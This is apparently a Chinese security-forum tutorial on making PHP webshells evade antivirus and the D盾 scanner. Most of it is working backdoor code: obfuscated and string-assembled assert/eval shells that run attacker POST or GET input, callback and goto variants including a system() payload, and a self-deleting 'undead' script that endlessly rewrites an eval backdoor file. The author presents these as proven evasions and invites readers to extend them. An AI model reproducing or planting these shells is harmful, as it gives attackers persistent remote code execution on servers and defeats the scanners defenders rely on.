初探webshell免杀的艺术
Werqy3 发表于 湖南 技术文章 2033浏览 · 2024-12-31 03:13

今天心血来潮,学习一下php的bypass

混淆加密

https://splitline.github.io/PHPFuck/

<?php
error_reporting(0);
((([]^[]).[][[]]^([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([].[])[([]^[[]])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]).(([]^[]).[][[]]^([].[])[([]^[])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]))(...((([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]).(([].[])[([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])]))((([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]]).[][[]]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).((([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])]).(([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]]).[][[]]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[]).[][[]]^([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[]).[][[]]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])])).(([]^[[]]).[][[]]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])])))() ?>

php特性

字符串拼接

<?php
$a = implode("",['p','h','p','i','n','f','o','(',')']);
assert($a);

接下来写个马

$a = implode("",["e","v","a","l","(","$","_","P","O","S","T","[","'","a","'","]",")"]);
        assert($a);


都没报毒

替换

<?php 
    $a = substr('aa',1).'s'.'s'.'e'.'r'.'t';
    $a($_POST['x']);
?>


加给反引号

<?php
$a=$_POST['x'];
$x=substr('aa',1).'ssert';
$x(`/***123***/`.$a);
?>

<?php
$a = strtr('abcdet','bcde','sser');
$a($_POST['x']);
?>


报毒了
加一个输出进去

<?php
$a = strtr('abcdet','bcde','sser');
echo $a;
$a($_POST['x']);
?>


发现降了一级
单独替换不好绕过,得配合一些回调函数,后面再说

<?php 
    $a = substr_replace("asaaaa","sert",2);
    $a($_POST['x']);
?>

变量覆盖

使用$$覆盖变量

<?php
$x='a'.'s'.'s'.'e'.'r'.'t';
$b='_'.'P'.'O'.'S'.'T';
$c=$$b;
$x($c['x']);
?>


结合前面的替换函数

<?php
$x=substr('aa',1).'s'.'s'.'e'.'r'.'t';
$b='_'.'P'.'O'.'S'.'T';
$c=$$b;
$x($c['x']);
?>


降了一级

传参拼接

<?php
$a='a';
$b=$a.$_POST["b"];
$c = $_POST["c"];
$b($c);
?>

base64编码

<?php
$x= substr('aa',1).'ssert';
$a=base64_decode($_POST['x']);
$x($a)
?>

rot13参数编码

<?php
$x= 'assert';
$a=str_rot13($_POST['x']);
$x($a)
?>

异或

<?php
$x= ('!'^'@').'ssert';
$a=base64_decode($_POST['x']);
$x($a)
?>

回调函数利用

call_user_func(最经典)
call_user_func_array
array_uintersect_assoc
array_map
array_filter
usort/uasort
uksort
array_walk
array_walk_recursive

array_uintersect_assoc

用法:

array array_uintersect_assoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func )
$array1: 第一个数组。
$array2: 第二个数组。
[array $...]: 可选参数,可以有多个数组参与交集运算。
callable $value_compare_func: 用户提供的回调函数,用来比较两个元素的值。

payload:

<?php
array_uintersect(array($_POST['x']), array(1),'assert');

call_user_func()

用法:

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed
$callback: 必需。要调用的回调函数。可以是字符串形式的函数名、数组形式的对象方法(例如 [object, 'method'] 或者 ['class', 'staticMethod'])、或者是一个匿名函数。
$parameter: 可选。传递给回调函数的参数。你可以传递多个参数,每个参数依次对应回调函数中的参数。
<?php
call_user_func('assert',$_POST['x']);
?>

array_map

用法:

array array_map ( callable $callback , array $array1 [, array $... ] ) : array
$callback: 必需。要调用的回调函数,可以是任何有效的可调用PHP实体(如函数名、对象方法或匿名函数)。
$array1: 必需。要处理的第一个数组。
[array $...]: 可选。额外的数组,它们的元素会按顺序与第一个数组的元素一起传递给回调函数。
<?php
$e = $_REQUEST['a'];
$arr = array($_POST['x'],);
array_map($e, $arr);
?>

自定义函数

结合前面的绕过姿势来bypass

<?php
function out($b){
    return $b;
}
function ey($a){
    $x= ('!'^'@').'ssert';
    return $x($a);
}
function post(){
    return base64_decode($_POST['x']);
}

function run(){
    return out(ey(out(post())));
}

run();


<?php
function out($b){
    return $b;
}
function ey($a){
    $x= substr('aa',1).'ssert';
    return $x($a);
}
function post(){
    return base64_decode($_POST['x']);
}

function run(){
    return out(ey(out(post())));
}

run();


<?php
function out($b){
    return $b;
}
function ey($a){
    $x='a'.'s'.'s'.'e'.'r'.'t';
    return $x($a);
}
function post(){
    return base64_decode($_POST['x']);
}

function run(){
    return out(ey(out(post())));
}

run();


<?php
function out($b){
    return $b;
}
function ey($a){
    $x = substr_replace("asaaaa","sert",2);
    return $x($a);
}
function post(){
    return base64_decode($_POST['x']);
}

function run(){
    return out(ey(out(post())));
}

run();


到这里就能说明自定义函数,加上之前的绕过手法已经随便过D盾了

类+回调函数

<?php
class B{

public function __destruct()
{
$B=$_POST['x'];
array_uintersect_assoc(array($B), array(1),'assert');
}

}
$obj = new B();


create_function函数

<?php
class B{

public function __destruct()
{
    $b=$this->name;
$a=$_POST['x'];
echo $b;
echo $a;
    $a('', $b);
}
public function __construct($name)
{
    $this->name = $name;
    echo $name;
}

}
$obj = new B($_POST['e']);


写的都比较简单,师傅们可以再拓展一下

goto+回调函数

goto介绍:
它允许代码无条件地跳转到同一个函数、方法或脚本中的另一个标签处继续执行。使用goto可以简化某些类型的控制结构,例如复杂的循环或条件逻辑。

以下是goto语句的一些关键点:

标签:goto语句需要指定一个目标标签。标签是任意的标识符后跟冒号(:)。例如,myLabel:定义了一个名为myLabel的标签。
跳转:goto语句后面跟着要跳转到的标签名。当执行到goto语句时,程序会立即跳转到指定的标签处并从那里继续执行。
限制:goto不能用于跳转到不同的函数或方法内部。它只能用于跳转到当前作用域内的标签。
注意事项:滥用goto可能会导致代码难以阅读和维护,因为它打破了正常的控制流。因此,在大多数情况下,应该优先考虑使用更清晰的控制结构如循环和条件语句。

举例代码:

<?php
goto a;
echo 'Foo';
a:
echo 'Bar';
?>

这段代码将输出Bar,而不会输出Foo,因为goto a;语句使得执行直接跳转到了标签a:的位置。
结合回调函数构造:

<?php
// 设置响应头为UTF-8以确保兼容性
header("Content-Type: text/html; charset=utf-8");

// 开启错误报告,在开发环境中应该配置为仅记录错误而不显示给用户
ini_set('display_errors', 0);
error_reporting(E_ALL);

// 定义一个安全处理函数调用的方法
function safeCall($func, $param = null) {
    if (is_callable($func)) {
        return call_user_func($func, $param);
    }
    return false;
}

test4:
// 禁用错误报告(在实际应用中不推荐)
error_reporting(0);

goto test1;

test2:
// 获取并验证参数$m和$o
$m = isset($_GET['m']) ? $_GET['m'] : null;
$o = isset($_GET['o']) ? $_GET['o'] : null;

if ($m === null) {
    print('NO');
} else {
    // 检查是否可以安全地调用$m和$o
    safeCall($m, $l);
    safeCall($o);
}
goto test3;

test1:
// 获取并验证参数$x
$l = isset($_GET['x']) ? $_GET['x'] : '';
if ($l !== '') {
    // 验证base64编码
    $l = base64_decode($l, true);
    if ($l === false) {
        // 如果解码失败,跳转到错误处理部分
        goto error;
    }
} else {
    // 如果$x为空或未提供,跳转到错误处理部分
    goto error;
}
goto test2;

test3:
goto test4;

error:
// 错误处理
echo 'Error: Invalid input.';
exit;
?>

payload:

?x=aXBjb25maWc=&m=system

免杀效果:

不死马

<?php
    ignore_user_abort(true);//函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行
    set_time_limit(0);//函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制
    unlink(__FILE__);//删除文件本身,以起到隐蔽自身的作用
    $file = 'xxx.php';//写入的后门文件名
    $code='<?php @eval($_POST[a]);?>';//恶意代码
    while(1){//一直循环
        file_put_contents($file,$code);
        usleep(5000);//循环内每隔usleep(5000),写新的后门文件
    }
?>


code参数那可以自己添加恶意代码
这个马当你访问以后就会自动删除,开始无限写文件,这根本删不完,再结合前面的bypass是很不错的

总结

后门查杀通常是使用正则表达式来进行静态匹配,而绕过大量已有正则的覆盖,就能实现免杀的效果,自己学会变换的核心原理,就能实现真正意义上的免杀。

0 条评论
某人
表情
可输入 255